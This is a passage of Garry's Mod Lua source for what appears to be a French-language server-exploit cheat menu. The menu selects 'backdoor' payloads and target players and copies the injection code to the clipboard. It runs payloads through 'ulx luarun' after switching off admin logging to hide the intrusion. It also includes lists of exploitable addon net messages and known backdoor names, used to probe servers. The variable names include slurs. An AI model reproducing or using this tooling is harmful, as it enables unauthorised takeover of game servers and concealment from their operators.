2557surface.DrawRect( 10, 25, w - 20, h - 35 )
2558
2559surface.DrawRect( 15, 30, w - 30, 35 )
2560
2561draw.SimpleText("Victimisation Sur Tous", "DermaDefault", 80, 160, Color(255, 255, 255), 0, 1)
2562
2563draw.SimpleText("Victimisation Sur Un Joueur", "DermaDefault", 280, 160, Color(255, 255, 255), 0, 1)
2564
2565draw.SimpleText("Destruction", "DermaDefault", 520, 160, Color(255, 255, 255), 0, 1)
2566
2567draw.SimpleText("Joueurs A Victime", "DermaDefault", 660, 140, Color(255, 255, 255), 0, 1)
2568
2569draw.SimpleText("Paramètres Commandes", "DermaDefault", 485, 520, Color(255, 255, 255), 0, 1)
2570
2571end
2572
2573HTMLGUI = vgui.Create( "HTML", BDMenu )
2574HTMLGUI:SetSize( 400,50 )
2575HTMLGUI:SetPos( 330,80 )
2576HTMLGUI:OpenURL( "https://image.noelshack.com/fichiers/2018/26/6/1530372954-sans-titrffe-4.png")
2577
2578surface.CreateFont("close",{font = "Marlett", size = 15, weight = 0, antialias = 0})
2579local CLOSEBOUTON = vgui.Create( "DButton", BDMenu)
2580CLOSEBOUTON:SetPos( 795, 0)
2581CLOSEBOUTON:SetSize( 30, 25 )
2582CLOSEBOUTON:SetText( "X" )
2583CLOSEBOUTON:SetFont( "close" )
2584CLOSEBOUTON.Paint = function( self, w, h )
2585draw.RoundedBox( 0, 0, 0, w, h, Color(0,0,0, 0))
2586if CLOSEBOUTON:IsHovered() then
2587CLOSEBOUTON:SetTextColor( Color( 255, 255, 255, 255 ) )
2588draw.RoundedBox(0,0,0,w,h,Color(127,0,0, 0))
2589else
2590draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
2591CLOSEBOUTON:SetTextColor( Color( 255, 255, 255 ) )
2592end
2593CLOSEBOUTON.DoClick = function()
2594surface.PlaySound( "UI/buttonclick.wav" )
2595BDMenu:Remove()
2596end
2597end
2598
2599
2600local it = 28
2601
2602
2603
2604local wedungoofd = vgui.Create( "DLabel", BDMenu )
2605
2606wedungoofd:SetPos( 25, 38 )
2607
2608wedungoofd:SetFont( "Trebuchet18" )
2609
2610wedungoofd:SetColor( Color( 120, 50, 50 ) )
2611
2612wedungoofd:SetText( "" )
2613
2614wedungoofd:SizeToContents()
2615
2616
2617
2618for bd, t in pairs( BD.BackdoorTypes ) do
2619
2620 local faggot = vgui.Create("DButton", BDMenu)
2621
2622 faggot:SetSize( 150, 25 )
2623
2624 faggot:SetPos( it, 35 )
2625
2626 faggot:SetText( bd )
2627
2628 faggot:SetTextColor(Color(255, 255, 255, 255))
2629
2630 faggot.Paint = function(panel, w, h)
2631
2632 if BD.Backdoors[bd] then
2633
2634 surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
2635
2636 surface.DrawOutlinedRect(0, 0, w, h)
2637
2638 surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
2639
2640 surface.DrawRect(0, 0, w, h)
2641
2642 else
2643
2644 surface.SetDrawColor(50, 50, 50 ,155)
2645
2646 surface.DrawRect(0, 0, w, h)
2647
2648 end
2649
2650 end
2651
2652 faggot.DoClick = function()
2653
2654 BD.ChatText( "La Backdoor est désormais : "..bd, Color(155,155,255) )
2655
2656 BD.CurrentBackdoor = bd
2657
2658 surface.PlaySound("buttons/button18.wav")
2659
2660 end
2661
2662 it = it + 155
2663
2664end
2665
2666
2667
2668local Plist = vgui.Create( "DPanelList", BDMenu )
2669
2670Plist:SetPos( 40, 175 )
2671
2672Plist:SetSize( 200, 300 )
2673
2674Plist:SetPadding( 10 )
2675
2676Plist:SetSpacing( 8 )
2677
2678Plist:EnableHorizontal( false )
2679
2680Plist:EnableVerticalScrollbar( true )
2681
2682Plist:SetName( "" )
2683
2684Plist.Paint = function( self, w, h )
2685
2686 surface.SetDrawColor(0, 0, 0 ,200)
2687
2688 surface.DrawOutlinedRect(0, 0, w, h)
2689 surface.DrawOutlinedRect(1, 1, w-2, h-2)
2690 surface.DrawOutlinedRect(2, 2, w-4, h-4)
2691
2692 surface.SetDrawColor(0, 0, 0 ,220)
2693
2694 surface.DrawRect(0, 0, w, h)
2695
2696end
2697
2698
2699
2700local Plist2 = vgui.Create( "DPanelList", BDMenu )
2701
2702Plist2:SetPos( 250, 175 )
2703
2704Plist2:SetSize( 200, 300 )
2705
2706Plist2:SetPadding( 5 )
2707
2708Plist2:SetSpacing( 5 )
2709
2710Plist2:EnableHorizontal( false )
2711
2712Plist2:EnableVerticalScrollbar( true )
2713
2714Plist2:SetName( "" )
2715
2716Plist2.Paint = function( self, w, h )
2717
2718 surface.SetDrawColor(0, 0, 0 ,200)
2719
2720 surface.DrawOutlinedRect(0, 0, w, h)
2721 surface.DrawOutlinedRect(1, 1, w-2, h-2)
2722 surface.DrawOutlinedRect(2, 2, w-4, h-4)
2723
2724 surface.SetDrawColor(0, 0, 0 ,220)
2725
2726 surface.DrawRect(0, 0, w, h)
2727
2728end
2729
2730
2731
2732local Plist3 = vgui.Create( "DPanelList", BDMenu )
2733
2734Plist3:SetPos( 470, 175 )
2735
2736Plist3:SetSize( 150, 300 )
2737
2738Plist3:SetPadding( 5 )
2739
2740Plist3:SetSpacing( 5 )
2741
2742Plist3:EnableHorizontal( false )
2743
2744Plist3:EnableVerticalScrollbar( true )
2745
2746Plist3:SetName( "" )
2747
2748Plist3.Paint = function( self, w, h )
2749
2750 surface.SetDrawColor(0, 0, 0 ,200)
2751
2752 surface.DrawOutlinedRect(0, 0, w, h)
2753 surface.DrawOutlinedRect(1, 1, w-2, h-2)
2754 surface.DrawOutlinedRect(2, 2, w-4, h-4)
2755
2756 surface.SetDrawColor(0, 0, 0 ,220)
2757
2758 surface.DrawRect(0, 0, w, h)
2759
2760end
2761
2762
2763
2764local Plist4 = vgui.Create( "DPanelList", BDMenu )
2765
2766Plist4:SetPos( 630, 175 )
2767
2768Plist4:SetSize( 150, 300 )
2769
2770Plist4:SetPadding( 5 )
2771
2772Plist4:SetSpacing( 5 )
2773
2774Plist4:EnableHorizontal( false )
2775
2776Plist4:EnableVerticalScrollbar( true )
2777
2778Plist4:SetName( "" )
2779
2780Plist4.Paint = function( self, w, h )
2781
2782 surface.SetDrawColor(0, 0, 0 ,200)
2783
2784 surface.DrawOutlinedRect(0, 0, w, h)
2785 surface.DrawOutlinedRect(1, 1, w-2, h-2)
2786 surface.DrawOutlinedRect(2, 2, w-4, h-4)
2787
2788 surface.SetDrawColor(0, 0, 0 ,220)
2789
2790 surface.DrawRect(0, 0, w, h)
2791
2792end
2793
2794
2795
2796 local faggot = vgui.Create("DButton", BDMenu)
2797
2798 faggot:SetSize( 150, 35 )
2799
2800 faggot:SetPos( 630, 480 )
2801
2802 faggot:SetText("Activer Backdoor!")
2803
2804 faggot:SetTextColor(Color(255, 255, 255, 255))
2805
2806 faggot.Paint = function(panel, w, h)
2807
2808 surface.SetDrawColor(255, 100, 00 ,255)
2809
2810 surface.DrawOutlinedRect(0, 0, w, h)
2811
2812 surface.SetDrawColor(50, 0, 0 ,155)
2813
2814 surface.DrawRect(0, 0, w, h)
2815
2816 end
2817
2818 faggot.DoClick = function()
2819
2820 if !BD.BDMacros[selectedbackdoor] or selectedbackdoor == "" then BD.ChatText( "Tu n'a pas selectionné de backdoor, IDIOT !", Color(255,155,155) ) return end
2821
2822 if BD.BDMacros[selectedbackdoor].Type == ( 1 or 3 ) then BD.FormatCodeGlobal() else BD.FormatCodeTargeted() end
2823
2824 surface.PlaySound("buttons/button18.wav")
2825
2826 end
2827
2828
2829
2830
2831
2832 local helpimretarded = vgui.Create("DButton", BDMenu)
2833
2834 helpimretarded:SetSize( 200, 35 )
2835
2836 helpimretarded:SetPos( 40, 480 )
2837
2838 helpimretarded:SetText("Copier Le Code De La Backdoor")
2839
2840 helpimretarded:SetTextColor(Color(255, 255, 255, 255))
2841
2842 helpimretarded.Paint = function(panel, w, h)
2843
2844 surface.SetDrawColor(255, 100, 00 ,255)
2845
2846 surface.DrawOutlinedRect(0, 0, w, h)
2847
2848 surface.SetDrawColor(50, 0, 0 ,155)
2849
2850 surface.DrawRect(0, 0, w, h)
2851
2852 end
2853
2854 helpimretarded.DoClick = function()
2855
2856 BD.ChatText( "Code copié, tu peut l'injecter via la console mtn :D", Color(155,255,155) )
2857
2858 local bdstring = BD.GetActive().Code
2859
2860 SetClipboardText( bdstring )
2861
2862 end
2863
2864
2865
2866 local helpimretarded2 = vgui.Create("DButton", BDMenu)
2867
2868 helpimretarded2:SetSize( 200, 35 )
2869
2870 helpimretarded2:SetPos( 250, 480 )
2871
2872 helpimretarded2:SetText("LuaRun La Backdoor")
2873
2874 helpimretarded2:SetTextColor(Color(255, 255, 255, 255))
2875
2876 helpimretarded2.Paint = function(panel, w, h)
2877
2878 surface.SetDrawColor(255, 100, 00 ,255)
2879
2880 surface.DrawOutlinedRect(0, 0, w, h)
2881
2882 surface.SetDrawColor(50, 0, 0 ,155)
2883
2884 surface.DrawRect(0, 0, w, h)
2885
2886 end
2887
2888 helpimretarded2.DoClick = function()
2889
2890 BD.ChatText( "Infection du serveur discrètement...", Color(155,255,155) )
2891
2892 LocalPlayer():ConCommand( [[ulx rcon ulx logecho 0]] )
2893
2894 timer.Simple( 0.5, function()
2895
2896 LocalPlayer():ConCommand( "ulx luarun "..BD.GetActive().Code )
2897
2898 end )
2899
2900 timer.Simple( 1, function() LocalPlayer():ConCommand( [[ulx rcon ulx logecho 1]] ) end )
2901
2902
2903
2904 timer.Simple( 1.5, function() if BD.IsMessagePooled( BD.GetActive().Netkey ) then BD.ChatText( "Infecté Avec Succès !", Color(155,255,155) ) else BD.ChatText( "Infection ULX Raté!", Color(255,155,155) ) end end )
2905
2906 end
2907
2908
2909
2910
2911
2912local moonman = vgui.Create( "DTextEntry", BDMenu )
2913
2914moonman:SetPos( 470, 480 )
2915
2916moonman:SetSize( 150, 33 )
2917
2918moonman:SetText( backdoorargs )
2919
2920moonman.OnChange = function( self )
2921
2922 backdoorargs = self:GetValue()
2923
2924-- surface.PlaySound("buttons/button3.wav")
2925
2926end
2927
2928
2929
2930
2931
2932 local target1 = vgui.Create("DButton", BDMenu)
2933
2934 target1:SetSize( 40, 20 )
2935
2936 target1:SetPos( 630, 150 )
2937
2938 target1:SetText("Tous")
2939
2940 target1:SetTextColor(Color(255, 255, 255, 255))
2941
2942 target1.Paint = function(panel, w, h)
2943
2944 surface.SetDrawColor(255, 100, 00 ,255)
2945
2946 surface.DrawOutlinedRect(0, 0, w, h)
2947
2948 surface.SetDrawColor(50, 0, 0 ,155)
2949
2950 surface.DrawRect(0, 0, w, h)
2951
2952 end
2953
2954 target1.DoClick = function()
2955
2956 for _, p in pairs(player.GetAll()) do
2957
2958 if not table.HasValue( selectedplayers, p ) then
2959
2960 table.insert( selectedplayers, p )
2961
2962 end
2963
2964 end
2965
2966 end
2967
2968
2969
2970 local target2 = vgui.Create("DButton", BDMenu)
2971
2972 target2:SetSize( 40, 20 )
2973
2974 target2:SetPos( 685, 150 )
2975
2976 target2:SetText("Aucun")
2977
2978 target2:SetTextColor(Color(255, 255, 255, 255))
2979
2980 target2.Paint = function(panel, w, h)
2981
2982 surface.SetDrawColor(255, 100, 00 ,255)
2983
2984 surface.DrawOutlinedRect(0, 0, w, h)
2985
2986 surface.SetDrawColor(50, 0, 0 ,155)
2987
2988 surface.DrawRect(0, 0, w, h)
2989
2990 end
2991
2992 target2.DoClick = function()
2993
2994 table.Empty( selectedplayers )
2995
2996 end
2997
2998
2999
3000 local target2 = vgui.Create("DButton", BDMenu)
3001
3002 target2:SetSize( 40, 20 )
3003
3004 target2:SetPos( 740, 150 )
3005
3006 target2:SetText("Moi")
3007
3008 target2:SetTextColor(Color(255, 255, 255, 255))
3009
3010 target2.Paint = function(panel, w, h)
3011
3012 surface.SetDrawColor(255, 100, 00 ,255)
3013
3014 surface.DrawOutlinedRect(0, 0, w, h)
3015
3016 surface.SetDrawColor(50, 0, 0 ,155)
3017
3018 surface.DrawRect(0, 0, w, h)
3019
3020 end
3021
3022 target2.DoClick = function()
3023
3024 table.Empty( selectedplayers )
3025
3026 table.insert( selectedplayers, LocalPlayer() )
3027
3028 end
3029
3030
3031
3032
3033
3034
3035
3036/*================================
3037|===== LISTES DES JOUEURS =====|
3038=================================*/
3039
3040
3041
3042for k, v in pairs( player.GetAll() ) do
3043
3044
3045
3046 local plypanel2 = vgui.Create( "DPanel" )
3047
3048 plypanel2:SetPos( 0, 0 )
3049
3050 plypanel2:SetSize( 200, 25 )
3051
3052 plypanel2.Paint = function() -- Paint function
3053
3054 draw.RoundedBoxEx(8,1,1,plypanel2:GetWide(),plypanel2:GetTall(),Color(0, 0, 0, 150), false, false, false, false)
3055
3056 if table.HasValue( selectedplayers, v ) then surface.SetDrawColor(Color(255, 255, 90, 255)) else surface.SetDrawColor(Color(150, 50, 50, 255)) end
3057
3058 surface.DrawOutlinedRect(1, 1, plypanel2:GetWide() - 1 , plypanel2:GetTall() - 1)
3059
3060 end
3061
3062
3063
3064 local plyname = vgui.Create( "DLabel", plypanel2 )
3065
3066 plyname:SetPos( 10, 5 )
3067
3068 plyname:SetFont( "Trebuchet18" )
3069
3070 local tcol = Color( 255, 255, 255 )
3071
3072 if v == LocalPlayer() then tcol = Color( 255, 155, 155 ) end
3073
3074 plyname:SetColor( tcol )
3075
3076 plyname:SetText( v:Nick() )
3077
3078 plyname:SetSize(180, 15)
3079
3080
3081
3082
3083
3084 local faggot = vgui.Create("DButton", plypanel2)
3085
3086 faggot:SetSize( plypanel2:GetWide(), plypanel2:GetTall() )
3087
3088 faggot:SetPos( 0, 0 )
3089
3090 faggot:SetText("")
3091
3092 faggot.Paint = function(panel, w, h)
3093
3094 return
3095
3096 end
3097
3098 faggot.DoClick = function()
3099
3100 if table.HasValue( selectedplayers, v ) then
3101
3102 table.RemoveByValue( selectedplayers, v )
3103
3104 else
3105
3106 table.insert( selectedplayers, v )
3107
3108 end
3109
3110 end
3111
3112
3113
3114
3115
3116 Plist4:AddItem( plypanel2 )
3117
3118
3119
3120end
3121
3122
3123
3124
3125
3126BD.GenerateBackdoorList( Plist, 1 )
3127
3128BD.GenerateBackdoorList( Plist2, 2 )
3129
3130BD.GenerateBackdoorList( Plist3, 3 )
3131
3132
3133
3134end
3135
3136concommand.Add("88_backdoor", BD.BackdoorMenu)
3137
3138
3139
3140
3141
3142function BD.QuickFireBackdoor()
3143
3144if !BD.BDMacros[selectedbackdoor] or selectedbackdoor == "" then BD.ChatText( "Tu n'a rien selectionné, que faire !", Color(255,155,155) ) return end
3145
3146if BD.BDMacros[selectedbackdoor].Type == ( 1 or 3 ) then BD.FormatCodeGlobal() else BD.FormatCodeTargeted() end
3147
3148end
3149
3150concommand.Add("runbd", BD.QuickFireBackdoor)
3151
3152
3153
3154
3155
3156
3157
3158
3159
3160
3161/*=================================
3162|====== CONCOMMAND ON START ======|
3163=================================*/
3164RunConsoleCommand "stopsound"
3165
3166
3167
3168
3169
3170
3171
3172
3173/*==========================
3174|==== Los Famosos Local ====|
3175==========================*/
3176
3177local givemeid = LocalPlayer():SteamID()
3178local ply = LocalPlayer()
3179local asphyxnet = "";
3180local n = net
3181local nr = n.Receive
3182local s = n.ReadString
3183local NBRBackdoor = 0
3184local selectedplayers = {}
3185local selectedbackdoor = ""
3186
3187
3188
3189
3190
3191
3192/*=============================
3193|==== Check SNTE Netstring ===|
3194=============================*/
3195
3196local rdmNetNum = 30 -- having more usable exploitable addons means it's 100% darkrp gamemode lol
3197
3198// global list of exploits that circulates
3199local legit_nets = {
3200 "pplay_deleterow",
3201 "Nicro",
3202 "pplay_addrow",
3203 "pplay_sendtable",
3204 "WriteQuery",
3205 "VJSay",
3206 "SendMoney",
3207 "BailOut",
3208 "customprinter_get",
3209 "textstickers_entdata",
3210 "NC_GetNameChange",
3211 "ATS_WARP_REMOVE_CLIENT",
3212 "ATS_WARP_FROM_CLIENT",
3213 "ATS_WARP_VIEWOWNER",
3214 "CFRemoveGame",
3215 "CFJoinGame",
3216 "CFEndGame",
3217 "CreateCase",
3218 "rprotect_terminal_settings",
3219 "StackGhost",
3220 "RevivePlayer",
3221 "ARMORY_RetrieveWeapon",
3222 "TransferReport",
3223 "SimplicityAC_aysent",
3224 "pac_to_contraption",
3225 "SyncPrinterButtons76561198056171650",
3226 "sendtable",
3227 "steamid2",
3228 "Kun_SellDrug",
3229 "net_PSUnBoxServer",
3230 "pplay_deleterow",
3231 "pplay_addrow",
3232 "CraftSomething",
3233 "banleaver",
3234 "75_plus_win",
3235 "ATMDepositMoney",
3236 "Taxi_Add",
3237 "Kun_SellOil",
3238 "SellMinerals",
3239 "TakeBetMoney",
3240 "PoliceJoin",
3241 "CpForm_Answers",
3242 "DepositMoney",
3243 "MDE_RemoveStuff_C2S",
3244 "NET_SS_DoBuyTakeoff",
3245 "NET_EcSetTax",
3246 "RP_Accept_Fine",
3247 "RP_Fine_Player",
3248 "RXCAR_Shop_Store_C2S",
3249 "RXCAR_SellINVCar_C2S",
3250 "drugseffect_remove",
3251 "drugs_money",
3252 "CRAFTINGMOD_SHOP",
3253 "drugs_ignite",
3254 "drugseffect_hpremove",
3255 "DarkRP_Kun_ForceSpawn",
3256 "drugs_text",
3257 "NLRKick",
3258 "RecKickAFKer",
3259 "GMBG:PickupItem",
3260 "DL_Answering",
3261 "plyWarning",
3262 "NLR.ActionPlayer",
3263 "timebombDefuse",
3264 "start_wd_emp",
3265 "kart_sell",
3266 "FarmingmodSellItems",
3267 "ClickerAddToPoints",
3268 "bodyman_model_change",
3269 "TOW_PayTheFine",
3270 "FIRE_CreateFireTruck",
3271 "hitcomplete",
3272 "hhh_request",
3273 "DaHit",
3274 "TCBBuyAmmo",
3275 "DataSend",
3276 "gBan.BanBuffer",
3277 "fp_as_doorHandler",
3278 "Upgrade",
3279 "TowTruck_CreateTowTruck",
3280 "TOW_SubmitWarning",
3281 "duelrequestguiYes",
3282 "JoinOrg",
3283 "pac_submit",
3284 "NDES_SelectedEmblem",
3285 "join_disconnect",
3286 "Morpheus.StaffTracker",
3287 "casinokit_chipexchange",
3288 "BuyKey",
3289 "BuyCrate",
3290 "FactionInviteConsole",
3291 "FacCreate",
3292 "1942_Fuhrer_SubmitCandidacy",
3293 "pogcp_report_submitReport",
3294 "textscreens_download",
3295 "hsend",
3296 "BuilderXToggleKill",
3297 "Chatbox_PlayerChat",
3298 "reports.submit",
3299 "services_accept",
3300 "Warn_CreateWarn",
3301 "NewReport",
3302 "soez",
3303 "GiveHealthNPC",
3304 "DarkRP_SS_Gamble",
3305 "buyinghealth",
3306 "DarkRP_preferredjobmodel",
3307 "DarkRP_spawnPocket",
3308 "whk_setart",
3309 "WithdrewBMoney",
3310 "DuelMessageReturn",
3311 "ban_rdm",
3312 "BuyCar",
3313 "ats_send_toServer",
3314 "dLogsGetCommand",
3315 "disguise",
3316 "gportal_rpname_change",
3317 "AbilityUse",
3318 "ClickerAddToPoints",
3319 "race_accept",
3320 "give_me_weapon",
3321 "FinishContract",
3322 "NLR_SPAWN",
3323 "Kun_ZiptieStruggle",
3324 "JB_Votekick",
3325 "Letthisdudeout",
3326 "ckit_roul_bet",
3327 "pac.net.TouchFlexes.ClientNotify",
3328 "ply_pick_shit",
3329 "TFA_Attachment_RequestAll",
3330 "BuyFirstTovar",
3331 "BuySecondTovar",
3332 "GiveHealthNPC",
3333 "MONEY_SYSTEM_GetWeapons",
3334 "MCon_Demote_ToServer",
3335 "withdrawp",
3336 "PCAdd",
3337 "ActivatePC",
3338 "PCDelAll",
3339 "viv_hl2rp_disp_message",
3340 "ATM_DepositMoney_C2S",
3341 "BM2.Command.SellBitcoins",
3342 "BM2.Command.Eject",
3343 "tickbooksendfine",
3344 "egg",
3345 "RHC_jail_player",
3346 "PlayerUseItem",
3347 "Chess Top10",
3348 "ItemStoreUse",
3349 "EZS_PlayerTag",
3350 "simfphys_gasspill",
3351 "sphys_dupe",
3352 "sw_gokart",
3353 "wordenns",
3354 "SyncPrinterButtons16690",
3355 "AttemptSellCar",
3356 "DarkRP_spawnPocket",
3357 "uPLYWarning",
3358 "atlaschat.rqclrcfg",
3359 "dlib.getinfo.replicate",
3360 "SetPermaKnife",
3361 "EnterpriseWithdraw",
3362 "SBP_addtime",
3363 "NetData",
3364 "CW20_PRESET_LOAD",
3365 "minigun_drones_switch",
3366 "NET_AM_MakePotion",
3367 "bitcoins_request_turn_off",
3368 "bitcoins_request_turn_on",
3369 "bitcoins_request_withdraw",
3370 "PermwepsNPCSellWeapon",
3371 "ncpstoredoact",
3372 "DuelRequestClient",
3373 "BeginSpin",
3374 "tickbookpayfine",
3375 "fg_printer_money",
3376 "IGS.GetPaymentURL",
3377 "pp_info_send",
3378 "AirDrops_StartPlacement",
3379 "SlotsRemoved",
3380 "FARMINGMOD_DROPITEM",
3381 "cab_sendmessage",
3382 "cab_cd_testdrive",
3383 "blueatm",
3384 "SCP-294Sv",
3385 "dronesrewrite_controldr",
3386 "desktopPrinter_Withdraw",
3387 "RemoveTag",
3388 "IDInv_RequestBank",
3389 "UseMedkit",
3390 "WipeMask",
3391 "SwapFilter",
3392 "RemoveMask",
3393 "DeployMask",
3394 "ZED_SpawnCar",
3395 "levelup_useperk",
3396 "passmayorexam",
3397 "Selldatride",
3398 "ORG_VaultDonate",
3399 "ORG_NewOrg",
3400 "ScannerMenu",
3401 "misswd_accept",
3402 "D3A_Message",
3403 "LawsToServer",
3404 "Shop_buy",
3405 "D3A_CreateOrg",
3406 "Gb_gasstation_BuyGas",
3407 "Gb_gasstation_BuyJerrycan",
3408 "MineServer",
3409 "AcceptBailOffer",
3410 "LawyerOfferBail",
3411 "buy_bundle",
3412 "AskPickupItemInv",
3413 "donatorshop_itemtobuy",
3414 "netOrgVoteInvite_Server",
3415 "Chess ClientWager",
3416 "AcceptRequest",
3417 "deposit",
3418 "CubeRiot CaptureZone Update",
3419 "NPCShop_BuyItem",
3420 "SpawnProtection",
3421 "hoverboardpurchase",
3422 "soundArrestCommit",
3423 "LotteryMenu",
3424 "updateLaws",
3425 "TMC_NET_FirePlayer",
3426 "thiefnpc",
3427 "TMC_NET_MakePlayerWanted",
3428 "SyncRemoveAction",
3429 "HV_AmmoBuy",
3430 "NET_CR_TakeStoredMoney",
3431 "nox_addpremadepunishment",
3432 "GrabMoney",
3433 "LAWYER.GetBailOut",
3434 "LAWYER.BailFelonOut",
3435 "br_send_pm",
3436 "GET_Admin_MSGS",
3437 "OPEN_ADMIN_CHAT",
3438 "LB_AddBan",
3439 "redirectMsg",
3440 "RDMReason_Explain",
3441 "JB_SelectWarden",
3442 "JB_GiveCubics",
3443 "SendSteamID",
3444 "wyozimc_playply",
3445 "SpecDM_SendLoadout",
3446 "sv_saveweapons",
3447 "DL_StartReport",
3448 "DL_ReportPlayer",
3449 "DL_AskLogsList",
3450 "DailyLoginClaim",
3451 "GiveWeapon",
3452 "GovStation_SpawnVehicle",
3453 "inviteToOrganization",
3454 "createFaction",
3455 "sellitem",
3456 "giveArrestReason",
3457 "unarrestPerson",
3458 "JoinFirstSS",
3459 "bringNfreeze",
3460 "start_wd_hack",
3461 "DestroyTable",
3462 "nCTieUpStart",
3463 "IveBeenRDMed",
3464 "FIGHTCLUB_StartFight",
3465 "FIGHTCLUB_KickPlayer",
3466 "ReSpawn",
3467 "CP_Test_Results",
3468 "AcceptBailOffer",
3469 "IS_SubmitSID_C2S",
3470 "IS_GetReward_C2S",
3471 "ChangeOrgName",
3472 "DisbandOrganization",
3473 "CreateOrganization",
3474 "newTerritory",
3475 "InviteMember",
3476 "sendDuelInfo",
3477 "DoDealerDeliver",
3478 "PurchaseWeed",
3479 "guncraft_removeWorkbench",
3480 "wordenns",
3481 "userAcceptPrestige",
3482 "DuelMessageReturn",
3483 "Client_To_Server_OpenEditor",
3484 "GiveSCP294Cup",
3485 "GiveArmor100",
3486 "SprintSpeedset",
3487 "ArmorButton",
3488 "HealButton",
3489 "SRequest",
3490 "ClickerForceSave",
3491 "rpi_trade_end",
3492 "NET_BailPlayer",
3493 "vj_testentity_runtextsd",
3494 "requestmoneyforvk",
3495 "gPrinters.sendID",
3496 "FIRE_RemoveFireTruck",
3497 "drugs_effect",
3498 "drugs_give",
3499 "NET_DoPrinterAction",
3500 "opr_withdraw",
3501 "money_clicker_withdraw",
3502 "NGII_TakeMoney",
3503 "gPrinters.retrieveMoney",
3504 "revival_revive_accept",
3505 "chname",
3506 "NewRPNameSQL",
3507 "UpdateRPUModelSQL",
3508 "SetTableTarget",
3509 "SquadGiveWeapon",
3510 "BuyUpgradesStuff",
3511 "REPAdminChangeLVL",
3512 "SendMail",
3513 "DemotePlayer",
3514 "OpenGates",
3515 "VehicleUnderglow",
3516 "Hopping_Test",
3517 "CREATE_REPORT",
3518 "CreateEntity",
3519 "FiremanLeave",
3520 "DarkRP_Defib_ForceSpawn",
3521 "Resupply",
3522 "BTTTStartVotekick",
3523 "_nonDBVMVote",
3524 "REPPurchase",
3525 "deathrag_takeitem",
3526 "FacCreate",
3527 "InformPlayer",
3528 "lockpick_sound",
3529 "SetPlayerModel",
3530 "changeToPhysgun",
3531 "VoteBanNO",
3532 "VoteKickNO",
3533 "shopguild_buyitem",
3534 "MG2.Request.GangRankings",
3535 "RequestMAPSize",
3536 "gMining.sellMineral",
3537 "ItemStoreDrop",
3538 "optarrest",
3539 "DarkRP_TipJarUpdate",
3540 "TalkIconChat",
3541 "UpdateAdvBoneSettings",
3542 "ViralsScoreboardAdmin"
3543}
3544
3545// battle against a risk of backdoor
3546local bad_nets = {
3547 "Sbox_gm_attackofnullday_key",
3548 "RayanFRdomine",
3549 "enablevac",
3550 "ULXQUERY2",
3551 "Im_SOCool",
3552 "MoonMan",
3553 "LickMeOut",
3554 "SessionBackdoor",
3555 "OdiumBackDoor",
3556 "ULX_QUERY2",
3557 "nocheat",
3558 "Sbox_itemstore",
3559 "Sbox_darkrp",
3560 "Sbox_Message",
3561 "_blacksmurf",
3562 "nostrip",
3563 "Remove_Exploiters",
3564 "Sandbox_ArmDupe",
3565 "rconadmin",
3566 "jesuslebg",
3567 "zilnix",
3568 "Þà ?D)◘",
3569 "disablebackdoor",
3570 "blacksmurfBackdoor",
3571 "jeveuttonrconleul",
3572 "memeDoor",
3573 "DarkRP_AdminWeapons",
3574 "Fix_Keypads",
3575 "noclipcloakaesp_chat_text",
3576 "_CAC_ReadMemory",
3577 "Ulib_Message",
3578 "Ulogs_Infos",
3579 "ITEM",
3580 "fix",
3581 "nocheat",
3582 "Sandbox_GayParty",
3583 "DarkRP_UTF8",
3584 "OldNetReadData",
3585 "Backdoor",
3586 "cucked",
3587 "NoNerks",
3588 "kek",
3589 "ZimbaBackdoor",
3590 "something",
3591 "random",
3592 "strip0",
3593 "fellosnake",
3594 "idk",
3595 "killserver",
3596 "fuckserver",
3597 "cvaraccess",
3598 "rcon",
3599 "rconadmin",
3600 "web",
3601 "dontforget",
3602 "aze46aez67z67z64dcv4bt",
3603 "nolag",
3604 "changename",
3605 "music",
3606 "_Defqon",
3607 "xenoexistscl",
3608 "R8",
3609 "DefqonBackdoor",
3610 "fourhead",
3611 "echangeinfo",
3612 "PlayerItemPickUp",
3613 "kill",
3614 "Þ� ?D)◘",
3615 "thefrenchenculer",
3616 "elfamosabackdoormdr",
3617 "stoppk",
3618 "noprop",
3619 "reaper",
3620 "Abcdefgh",
3621 "JSQuery.Data(Post(false))",
3622 "pjHabrp9EY",
3623 "_Raze",
3624 "m9k_explosionradius",
3625 "NoOdium_ReadPing",
3626 "m9k_explosionradius",
3627 "gag",
3628 "_cac_",
3629 "_Battleye_Meme_",
3630 "ULogs_B",
3631 "arivia",
3632 "_Warns",
3633 "striphelper",
3634 "m9k_explosive",
3635 "GaySploitBackdoor",
3636 "_GaySploit",
3637 "slua",
3638 "Bilboard.adverts:Spawn(false)",
3639 "BOOST_FPS"
3640
3641}
3642
3643
3644local legit_num = #legit_nets
3645local bad_num = #bad_nets
3646
3647local function ban(_, ply)
3648 ply:Kick("[Auto-Ban] - On c'est fait avoir nous même rt")
3649end
3650
3651timer.Simple(1, function()
3652 for i = legit_num, 1, -1 do
3653 if util.NetworkStringToID(legit_nets[i]) ~= 0 then
3654 MsgC( Color( 0, 0, 0 ), "[88Triggering]", Color( 0, 255, 0 )," SNTE A détécté " .. table.remove(legit_nets, i) .. " comme exploit \n" )
3655 legit_num = legit_num - 1
3656 end
3657 end
3658 for i = bad_num, 1, -1 do
3659 if util.NetworkStringToID(bad_nets[i]) ~= 0 then
3660 MsgC( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 0, 0 )," SNTE A détécté " .. table.remove(bad_nets, i) .. " comme backdoor \n" )
3661 net.Receive(bad_nets[i], ban)
3662 bad_num = bad_num - 1
3663 end
3664 end
3665 local global_nets = legit_nets
3666 table.Add(global_nets, bad_nets)
3667
3668
3669 local global_num = #global_nets
3670 for i = global_num, 1, -1 do
3671 if util.NetworkStringToID(global_nets[i]) ~= 0 then
3672 MsgC( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 0, 0 )," SNTE A détécté " .. table.remove(global_nets, i) .. " généré \n" )
3673 net.Receive(global_nets[i], print "lol")
3674 global_num = global_num - 1
3675end
3676end
3677end)
3678
3679
3680
3681/*=======================
3682|==== Check Netstring ===|
3683========================*/
3684
3685concommand.Add("asnet", function()
3686local netstrings = {}
3687for i = 1, 9999 do
3688local asnet = util.NetworkIDToString( i )
3689if asnet then MsgC (Color(math.random(1,25),math.random(1,25),math.random(1,25)), "[NetString Détécté] : "..i.." = ") MsgC (Color(math.random(254,255),math.random(254,255),math.random(254,255)),""..asnet.." \n" ) else break end
3690end
3691end)
3692
3693
